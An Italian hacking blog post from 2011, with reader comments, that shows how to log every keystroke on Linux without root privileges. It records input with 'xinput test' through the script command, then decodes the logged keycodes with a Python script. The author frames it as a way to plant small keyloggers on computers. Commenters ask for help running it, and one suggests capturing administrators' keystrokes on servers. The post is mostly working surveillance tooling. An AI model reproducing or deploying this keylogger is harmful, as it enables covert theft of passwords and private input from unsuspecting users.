ClsHack:Computer Security Blog    

[Linux] Xinput Simple keylogger :D :D :D


Così per caso ho scoperto che xinput permette di testare i dispositivi di input ;)
Per visualizzare i dispositivi di input nel nostro sistema linux basta digitare:
xinput --list
Un esempio di output:

[clshack@clshackArch ~]$ xinput --list
⎡ Virtual core pointer                    	id=2	[master pointer  (3)]
⎜   ↳ Virtual core XTEST pointer              	id=4	[slave  pointer  (2)]
⎜   ↳ PS/2 Logitech Wheel Mouse               	id=13	[slave  pointer  (2)]
⎜   ↳  USB OPTICAL MOUSE                      	id=14	[slave  pointer  (2)]
⎣ Virtual core keyboard                   	id=3	[master keyboard (2)]
    ↳ Virtual core XTEST keyboard             	id=5	[slave  keyboard (3)]
    ↳ Power Button                            	id=6	[slave  keyboard (3)]
    ↳ Video Bus                               	id=7	[slave  keyboard (3)]
    ↳ Video Bus                               	id=8	[slave  keyboard (3)]
    ↳ Sleep Button                            	id=9	[slave  keyboard (3)]
    ↳ USB 2.0 Camera                          	id=10	[slave  keyboard (3)]
    ↳ Asus WMI hotkeys                        	id=11	[slave  keyboard (3)]
    ↳ AT Translated Set 2 keyboard            	id=12	[slave  keyboard (3)]


La tastiera nel mio caso è l’id 12.
Da quello che ho potuto notare su diversi pc è che è sempre l’id maggiore.
Xinput è viene installato con xorg e non ha bisogno di privilegi root per essere utilizzato.
Proprio qui sta la stronzata.
Per testare un dispositivo digitiamo:
xinput test ID
Es:
xinput test 12
Ora scrivendo OVUNQUE nel terminale vedremo comparire:
key release 36
key press 39
....

Per registrare i tasti su un piccolo file di output possiamo digitare:
script -c "xinput test ID" | cat > key.log

Nel nostro file di log(key.log) avremo tutti i numeri dei tasti premuti.
La decodifica è molto semplice.
Per vedere a cosa corrispondono i numeri, basta digitare:
xmodmap -pke
Es di output:
keycode 38 = a A a A ae AE ae
keycode 39 = s S s S ssharp section ssharp
keycode 40 = d D d D eth ETH eth
keycode 41 = f F f F dstroke ordfeminine dstroke
keycode 42 = g G g G eng ENG eng
keycode 43 = h H h H hstroke Hstroke hstroke
keycode 44 = j J j J j J j

Facendo un piccolo script in python possiamo decodificare facilmente questo codice ;)

import re, collections, sys
from subprocess import *
def keyMap():
    table = Popen("xmodmap -pke", shell=True, bufsize=1, stdout=PIPE).stdout
    key = []
    for line in table:
        m = re.match('keycode +(\d+) = (.+)', line.decode())
        if m and m.groups()[1]:
            key.append(m.groups()[1].split()[0]+"_____"+m.groups()[0])
    return key
def printV(letter):
	key=keyMap();
	for i in key:
		if str(letter) == i.split("_____")[1]:
			return i.split("_____")[0]
	return letter
if len(sys.argv) < 2:
	print "Usage: %s FILE" % sys.argv[0];
	exit();
else:
	f = open(sys.argv[1])
	lines = f.readlines()
	f.close()
	for line in lines:
		m = re.match('key press +(\d+)', line)
		if m:
			keycode = m.groups()[0]
			print (printV(keycode))

Possiamo eseguire questo script con:
python NAME.py key.log
L’output sarà più o meno leggibile XD

c
a
z
z
o
space

Ora dimostrato che xinput può registrare i tasti e non ha bisogno di essere root per essere eseguito, possiamo in poche inserire dei piccoli keylogger nei pc :D

Related posts:

  1. Attack with XSS [keylogger,form-autocomplete grabber] POST/GET :)
  2. [JAVA] Simple GUI CALC
  3. UBUNTU/DEBIAN KEYLOGGER :D
  4. DEFT Linux for Computer Forensic

This entry was posted on Friday, November 18th, 2011 at 5:15 pm and is filed under Hacking, Programming. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.

Tagged with:
  • http://b3styl3.byethost7.com B3STYL3

    Very good
    Bravo (;

  • clshack_

    :)

  • Stinocon

    Ciao! Complimenti, a breve lo testo, pero (scusa la mancanza di accenti, ho una tastiera americana) ho un paio di domande:
    1) Ximput e gia installato di default anche su Ubuntu?
    2) Per compilare lo script serve qualcosa in particolare?
    3) Esiste qualcosa di simile per Winzozz?

    Grazie mille! :D

  • clshack_

    1)xinput è già installato;
    2)lo script è in python ti serve l’interprete (già presente in ubuntu)
    3)non lo so penso di no..

  • http://mrehqe.blogspot.com MrEHQE

    Bello! perchè non inserisci il commandline in commandlinefu.com, può tornare utile ad altre persone.

  • Pingback: CLSHACK – Simple keylogger with xinput « Goats Uncovered

  • http://scoperchiatore.wordpress.com sc0p

    Ma sarà un bug di implementazione di xinput per Ubuntu o un bug di design di X?

    Perchè X ormai lo installano anche sui server, e se trovi l’admin che si connette per usare il browser magari per andare in localhost sulla console dell’application server, hai vinto!!!

    Ottimo comunque, semplice e geniale! :)

  • http://toxic.cubicarea.it revol

    mi chiedevo…perchè non direttamente:
    script -c “xinput test ID” > key.log
    ?
    testato in debian sid, confermo che la tastiera ha l’id + alto..
    in debian non è installato di default ;)

  • clshack_

    @revol:
    Prima avevo fatto altri test :) quindi ho copiato l’ultimo comando ;)
    Ma funziona allo stesso modo anche:
    script -c "xinput test ID" > key.log
    @sc0p:
    Non so cosa dirti xinput è utile per mappare i tasti della tastiera ad esempio volume up down, ma viste le conseguenze dovrebbe farlo utilizzare con più permessi :)

  • Andrea G.

    Esiste un modo per terminare il processo senza chiudere il terminale?

    Poi: ho provato ad eseguire il comando come scorciatoia da tastiera ma senza successo. Potrei creare un file.sh ed eseguirlo con una scorciatoia ma sarebbe più macchinoso.

    Qualche idea? Nel caso di successo come si interromperebbe?

  • clshack_

    Basta un ctrl+c ;)

  • http://jootamam.net eduedix

    hi there, have been searching for a useful and easy keylogger for linux and so far this seems to be the best and only one to work at my place. but there is a problem with decoding, i guess your script is not ready to run, can you post here an updated version of your log decoder please?

  • Rob Lee

    Umm, Line 9, there seems to be some syntax missing after the split()[0], possibly a ‘+’ or a ‘,’. Can you advise as to which of these it might be?

    • ClsHackBlog

      I have any error, copy code in geany and try to “compile it”

  • Rob Lee

    Umm, Line 9, there seems to be some syntax missing after the split()[0], possibly a ‘+’ or a ‘,’. Can you advise as to which of these it might be?

    • ClsHackBlog

      I have any error, copy code in geany and try to “compile it”

  • portable

    Bell’articolo! Però mi chiedevo se ci fosse un modo per mettere a posto questa “falla”?

    • ClsHackBlog

      Grazie :D 

      Beh potresti far eseguire xinput solamente da utenti privilegiati cambiandoli i permessi :D 

  • portable

    Bell’articolo! Però mi chiedevo se ci fosse un modo per mettere a posto questa “falla”?

    • ClsHackBlog

      Grazie :D 

      Beh potresti far eseguire xinput solamente da utenti privilegiati cambiandoli i permessi :D